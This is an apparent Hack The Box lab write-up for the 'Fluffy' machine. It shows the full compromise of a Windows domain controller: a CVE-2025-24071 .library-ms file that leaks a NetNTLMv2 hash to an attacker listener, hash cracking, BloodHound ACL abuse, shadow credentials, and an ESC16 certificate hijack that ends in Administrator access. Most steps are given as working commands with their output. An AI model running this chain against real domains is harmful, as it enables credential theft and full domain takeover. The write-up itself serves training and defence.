Miguel.sh

Fluffy

A domain controller with no web services. A .library-ms file uploaded to a writable share (CVE-2025-24071) captures a service account's NetNTLMv2 hash. BloodHound reveals a group ACL chain that gives write access to the service accounts. ESC16 on the CA turns control of ca_svc into an Administrator certificate.

Category
machine
Source
HTB
OS
windows
Difficulty
medium
Released
Tags
active-directoryadcsbloodhoundcve-2025-24071esc16shadow-credentials
Tools
nmap, nxc, smbclient, responder, hashcat, bloodhound-python, certipy, evil-winrm

Attack path

flowchart LR
  A[j.fleischman creds] --> B[IT share READ+WRITE]
  B --> C[Upload .library-ms, CVE-2025-24071]
  C --> D[Responder: p.agila NetNTLMv2]
  D --> E[Crack prometheusx-303]
  E --> F[BloodHound: GenericAll on SERVICE ACCOUNTS group]
  F --> G[Join SERVICE ACCOUNTS group]
  G --> H[Shadow credentials on winrm_svc]
  H --> I[WinRM shell, user flag]
  G --> J[Shadow credentials on ca_svc]
  J --> K[ESC16: UPN flip, User cert as Administrator]
  K --> L[Schannel LDAPS as Administrator]
  L --> M[Password change, root flag]

Recon

Step 1 — Map the domain controller

A full TCP scan finds the attack surface.

nmap
sudo nmap -sV -sC -T4 -p- -o nmap.txt 10.129.232.88

Fluffy is a single domain controller with no web services: DNS, Kerberos, SMB, LDAP, WinRM and ADWS, with nothing on 80/443.

  • DC01.fluffy.htb, Windows Server 2019 (build 17763), domain functional level 2016, no trusts
  • SMB signing is required, so NTLM relay to SMB is not an option
  • ADCS is installed (ADWS on 9389)

Anonymous and guest SMB sessions are accepted for share names only (no SAMR or LSA enumeration), and kerbrute against first-name lists returns nothing. That does not matter here, since HTB supplies starting credentials for AD sets. With no application to attack, both entry and escalation are Active Directory problems.

Step 2 — Enumerate shares with the starting credentials

The starting credentials come from the HTB machine page.

netexec, share permissions
nxc smb 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
IT READ,WRITE
NETLOGON READ
SYSVOL READ

The non-default IT share is readable and writable with the starting credentials.

Foothold

Step 3 — Build the .library-ms payload

Upgrade_Notice.pdf in the share tells the IT department to book patch timeslots through the change management system, and lists 2025 CVEs. The relevant one is CVE-2025-24071, an information exposure in Windows File Explorer: when File Explorer parses a .library-ms file, it resolves the SMB location inside it and authenticates to that location with the current user’s NTLM credentials, and the captured NetNTLMv2 response can be cracked offline. No user interaction is needed beyond the file being parsed — if a scheduled process enumerates the share, our file only has to be present.

We built the payload with the ex-cal1bur PoC (github.com/ex-cal1bur/SMB_CVE-2025-24071), which packages the .library-ms in a tar so that smbclient itself can extract it server-side:

generate the payload
python3 poc_tar.py # name: exploit, attacker IP: <your tun0 IP>

The generated file points at our listener:

exploit.library-ms
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.33\IT</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Step 4 — Capture the NetNTLMv2 hash

We started Responder, uploaded the tar and extracted it into the share ourselves:

capture
sudo responder -I tun0
smbclient //10.129.232.88/IT -U 'j.fleischman%J0elTHEM4n1990!' -c 'put exploit.tar; tar x exploit.tar'

Within minutes the change-management process, which enumerates the share on a short loop, parsed the file and authenticated to us:

[SMB] NTLMv2-SSP Client : 10.129.232.88
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila

Step 5 — Crack the hash

The NetNTLMv2 response from step 4 cracks offline.

crack
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# p.agila:prometheusx-303

p.agila validates over SMB but has no shell (no WinRM, not an ex-admin). At this point it is a credential, not access.

Privilege escalation

User flag

Step 6 — Collect BloodHound data

BloodHound shows where the new credential from step 5 leads.

BloodHound collection
bloodhound-python -d fluffy.htb -dc DC01.fluffy.htb -ns 10.129.232.88 -u p.agila -p 'prometheusx-303' -c All --zip

The domain is small and almost every ACL is default. The exception is two custom groups, which BloodHound shows like this:

p.agila ── member of ──> SERVICE ACCOUNT MANAGERS
SERVICE ACCOUNT MANAGERS ── GenericAll on the group ──> SERVICE ACCOUNTS
SERVICE ACCOUNTS ── GenericWrite ──> winrm_svc, ldap_svc, ca_svc
winrm_svc ── member of ──> REMOTE MANAGEMENT USERS
ca_svc ── member of ──> CERT PUBLISHERS

p.agila can edit the membership of SERVICE ACCOUNTS, and members of SERVICE ACCOUNTS can write to the service accounts’ AD objects.

Step 7 — Take over winrm_svc with shadow credentials

Joining the group converts the GenericWrite from step 6 into an account takeover. Shadow credentials does this by writing our own key into msDS-KeyCredentialLink, which turns a GenericWrite into a full account takeover without knowing a password: it works over LDAPS, authenticates via PKINIT key trust, and the KDC accepts the key straight from the AD attribute, so the CA is never involved.

join the group, then shadow credentials
net rpc group addmem "SERVICE ACCOUNTS" p.agila -U 'fluffy.htb\p.agila%prometheusx-303' -S 10.129.232.88 && \
certipy-ad shadow auto -account winrm_svc -u p.agila@fluffy.htb -p 'prometheusx-303' \
-dc-ip 10.129.232.88 -dc-host DC01.fluffy.htb

Certipy performs the whole sequence and prints the account’s NT hash:

[*] Successfully added Key Credential ... for 'winrm_svc'
[*] Got TGT
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767

Step 8 — Shell and user flag

winrm_svc is a member of Remote Management Users, so the hash converts directly to a shell:

Terminal window
evil-winrm -i 10.129.232.88 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

C:\Users\winrm_svc\Desktop\user.txt → <redacted>.

Root

Step 9 — Find the ADCS misconfiguration

On the box itself winrm_svc is a dead end: no useful privileges and no readable scheduled tasks. The escalation is in ADCS, and certipy-ad find supplies two facts:

  1. The CA’s Enroll gate is Cert Publishers and Administrators only. Of the accounts we can reach, only ca_svc may request certificates at all. ca_svc is a member of Cert Publishers.
  2. The actual misconfiguration, one line above it:
    Disabled Extensions : 1.3.6.1.4.1.311.25.2
    That OID is the NTDS SID security extension. Since 2022, CAs embed the requester’s object SID into every certificate so that it cannot be repurposed. This CA has the extension globally disabled: every certificate it issues carries a UPN but no SID, and a KDC or Schannel endpoint that trusts such a certificate falls back to mapping the account by UPN alone.

Step 10 — Take over ca_svc

This enables the standard ESC9/ESC16 hijack: control of the UPN of an account that can request a certificate gives control of the identity the CA vouches for. We control ca_svc’s AD object (GenericWrite via the same group ACL chain) and we hold its hash from one more run of the shadow-credentials attack:

Terminal window
net rpc group addmem "SERVICE ACCOUNTS" p.agila -U 'fluffy.htb\p.agila%prometheusx-303' -S 10.129.232.88 && \
certipy-ad shadow auto -account ca_svc -u p.agila@fluffy.htb -p 'prometheusx-303' \
-dc-ip 10.129.232.88 -dc-host DC01.fluffy.htb
# NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

Step 11 — Flip the UPN and request a certificate

The hijack, again as one command:

flip ca_svc's UPN to the target's sAMAccountName
net rpc group addmem "SERVICE ACCOUNTS" p.agila -U 'fluffy.htb\p.agila%prometheusx-303' -S 10.129.232.88 && \
LDAPTLS_REQCERT=never ldapmodify -x -H ldaps://DC01.fluffy.htb -D 'p.agila@fluffy.htb' -w 'prometheusx-303' <<'EOF'
dn: CN=CERTIFICATE AUTHORITY SERVICE,CN=USERS,DC=FLUFFY,DC=HTB
changetype: modify
replace: userPrincipalName
userPrincipalName: Administrator
EOF

The UPN is bare Administrator without the domain suffix. A suffixed UPN would collide with the real Administrator’s. The suffixless form is what the fallback mapping resolves against the sAMAccountName. We then requested an ordinary User certificate as ca_svc. The CA builds the SAN from Active Directory and wrote the flipped UPN into it:

Terminal window
KRB5CCNAME=ca_svc.ccache certipy-ad req -u ca_svc@fluffy.htb -k -no-pass \
-ca fluffy-DC01-CA -template User -target dc01.fluffy.htb -dc-ip 10.129.232.88
# Got certificate with UPN 'Administrator'
# Certificate has no object SID

Step 12 — Authenticate as Administrator over Schannel

After reverting ca_svc’s UPN with the same ldapmodify (back to ca_svc@fluffy.htb), PKINIT fails to build a principal from the suffixless UPN. Schannel does not:

authenticate as Administrator over LDAPS
certipy-ad auth -pfx administrator.pfx -u Administrator -dc-ip 10.129.232.88 -ldap-shell
# Authenticated to '10.129.232.88' as: 'u:FLUFFY\Administrator'

Step 13 — Change the password and take the root flag

From the LDAP shell, change_password Administrator Pwned!2026, then a normal WinRM login:

Terminal window
evil-winrm -i 10.129.232.88 -u Administrator -p 'Pwned!2026'

C:\Users\Administrator\Desktop\root.txt → <redacted>.

Lessons learned

  • A writable share combined with a process that enumerates it is a credential leak. CVE-2025-24071 needs no exploit binary, only a file in the right folder and a listener.
  • The SID security extension is what makes UPNs in certificates trustworthy. With it disabled, a single CA setting turns any GenericWrite over an enrollable account into domain admin. ESC-class misconfigurations rarely look like vulnerabilities in a template list. This one was one line of CA configuration.
  • The root depended on ca_svc being a domain account in Cert Publishers while its AD object was writable by a low-privilege manager group. Certificates that vouch for identity should not depend on an identity that IT staff can edit.